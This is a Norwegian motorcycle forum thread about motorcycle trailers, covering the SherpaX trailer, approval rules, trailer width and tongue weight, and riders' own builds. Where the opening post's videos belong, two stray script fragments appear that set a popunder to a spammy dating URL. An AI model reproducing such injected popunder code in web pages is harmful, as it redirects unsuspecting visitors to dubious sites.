MCsiden

Det kan godt være det finnes en godt gjemt tråd om motorsykkeltilhengere her på MCsiden.no, uten at jeg ant den etter et kjapt søk i dag.
Om den eller de skulle dukke opp etter hvert så få jeg slå de sammen med denne nye tråden, som jeg fikk lyst til å opprette etter å ha kommet over info og videoer om SherpaX Trailer.
Som jeg synes ser ut som den ideelle tilhengere en MC. Enkel konstruksjon med lav vekt og som åpenbart er trygg å kjøre med under alle typer forhold, om en skal tro det man ser på videoene.

Jeg har alltid sverget til at alt skal pakkes på sykkelen når man er på tur, være seg alene eller med passasjer.
Men med denne hengeren merker jeg at jeg er på glid til å mene at nettopp denne ser ut til å være et godtalternativ.
Veldig praktisk, ser det ut til. Og et stort pluss i min bok at man slipper montering av hengerfeste.

Mer å lese om denne artige saken her:
https://kipmoto.com/pages/sherpax

Og videoene...:

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Noen som vet om disse importeres til Norge? Og om de er godkjent her i landet?

Selv om første innlegg i tråden starter med nysgjerrighet og spørsmål om SherpaX hengeren betyr ikke det at andre hengerløsninger ikke kan trekkes fram.
Kom gjerne med egne erfaringer på hengeren du har, eller spørsmål rundt hengeren du vurderer å skaffe deg.

Denne hengeren forutsetter hul hjulaksel.
hvordan en produsent av mc som leverer sykkelen med massiv aksel ser på mulighet for å bruke en svakere aksel skal ikke jeg mene noe om...
ei heller om hva typegodkjenningsmulighetene i EU er.
Lys skiltplass og dekk som tåler hastigheten må i det minste være på plass.
men sånn ellers er nok hengeren grei.

dessuten tror jeg 1hjulshengere er bedre kjøremessig enn 2hjuls..

Personlig ser jeg ikke greia med henger-skal jeg ha så mye "greier" med meg kjører jeg nok heller bil...
rygge med tung sykkel og henger er nok også en ubetinget glede...

Men vi har alle forskjellig glede..noen kombinerer henger med sidevogn også..

Har bygget en tilsvarende. Brukes i Karlstad , Sverige.
Prinsippet vises godt på denne videoen
https://m.youtube.com/watch?v=DspyA9GolIc

Flott med egen tråd for motorsykkeltilhengere.

En bekjent av meg byggde motorsykkeltilhenger, hadde dialog med trafikkstasjon i forkant, monterte godkjent tilhengerkrok og fikk det hele godkjent på trafikkstasjon.

Selv om jeg har hatt mc med sidevogn er jeg ikke noen glad i hverken det eller tilhenger

Hengeren som fulgte sykkelen var nettopp det som gjorde at det BLE den sykkelen (og så var han jo rød) - Etter 100 mil med henger og lett last - så kan jeg ikke si at det plager eller ikke plage mæ med tanke på kjøring. Har en kropp som gjør at æ må tenke , hvor man parkere og hvordan man setter i fra seg sykkel`n - og da er det enkelt å ta henger`n med i tankegangen også.

Nå er min henger ca 5 cm bredere enn sykkelen og det er vel her tankene kommer av og til - er det plass nok..

For meg er ikke alternativet bil - den vraka æ uka før æ henta sykkel`n og på langtur må æ ha med mæ litt bekvemligheter .

Men har kjørt noen få titalls mil uten og må si at , DA slipp man sæ litt mer laus, ærlig skal man være.

Kjøre hjem noen kubikk ved med hengern . og det e utrolig hva som får plass...

Så tenker jeg litt slik at - jeg får en mer oversiktlig sykkel - enklere sikring (alt e i boks , nær sagt) slipper høy last - får tyngda ned eller bak på hengeren - og tror da at jeg få en bedre sykkel å kjøre på langtur. (Har jo ikke tengt meg ut på de dårligste og trangest veian.

Men skal være så ærlig at jeg tenker på å øke turbudsjett /korte ned tur - for å kunne bruke hotell i stedet for telt... men denne sesongen blir det slik -

PS- så på noen fine campinghengere , men du verden for en pris...

En sånn tilhenger kunne jeg kanskje vurdert

haakeik skrev: ↑04 feb 2019, 10:31 En sånn tilhenger kunne jeg kanskje vurdert

På grunn av innholdet?

Til min Honda Goldwing gjorde jeg en litt annen variant. Jeg fant en henger på Meca til fastmontering på kula.
Maksimal bredde på henger er 125cm og denne er 120cm. Det man bør være klar over er kuletrykket. Selv om hengeren er godkjent for 45 kg, kan jeg ikke lesse så mye på.
Slik jeg har oppfattet reglene for bredde er de at den ikke må være breiere enn 15 cm på hver side av sykkelens bredde (på det breieste). Dette målet går jeg også innenfor.
På bilde kan man se at jeg ikke har montert en bøyle som skal være opp omtrent ved kula. Jeg må bøye dette røret litt for å få den utenfor toppboksen.

Har du sett på makan... Jeg som i alle år har trodd at poenget med henger var å avlaste sykkelen! Hvordan er den i de aller krappeste svingene når vi andre risikerer skrap i eksosanlegg og fothvilere? Vet at GW er solide, tunge greier som tåler last, men hvordan blir kjøreegenskaper når tyngdepunktet plasseres så langt bak? Skulle jeg hatt henger ville det vært for å opprettholde følelsen av « lett» sykkel uten kæmpinggreier på høyde med hjelmen. Lykke til JanB, du kan fremdeles rygge sykkelen som oss andre. Det er fordel jeg har respekt for. Dette er kreativt og spennende, mener jeg!

Har aldri gått ned i veien med den i svinger. Vedrørende tyngdepunkt er det minimalt i forhold til hvor tyngdepunktet er. En passasjer veier nesten 10 ganger så mye som vekten av en bag eller koffert som er surret fast inn mot kula. Sykkelens totale midtpunkt med fører er nesten nøyaktig over bensintanken og da er 18-25 kg på denne hengeren ingen ting og virker ikke inn på kjøreegenskapene. Husk at sykkel og fører er ca 500 kg her, uten bagasje.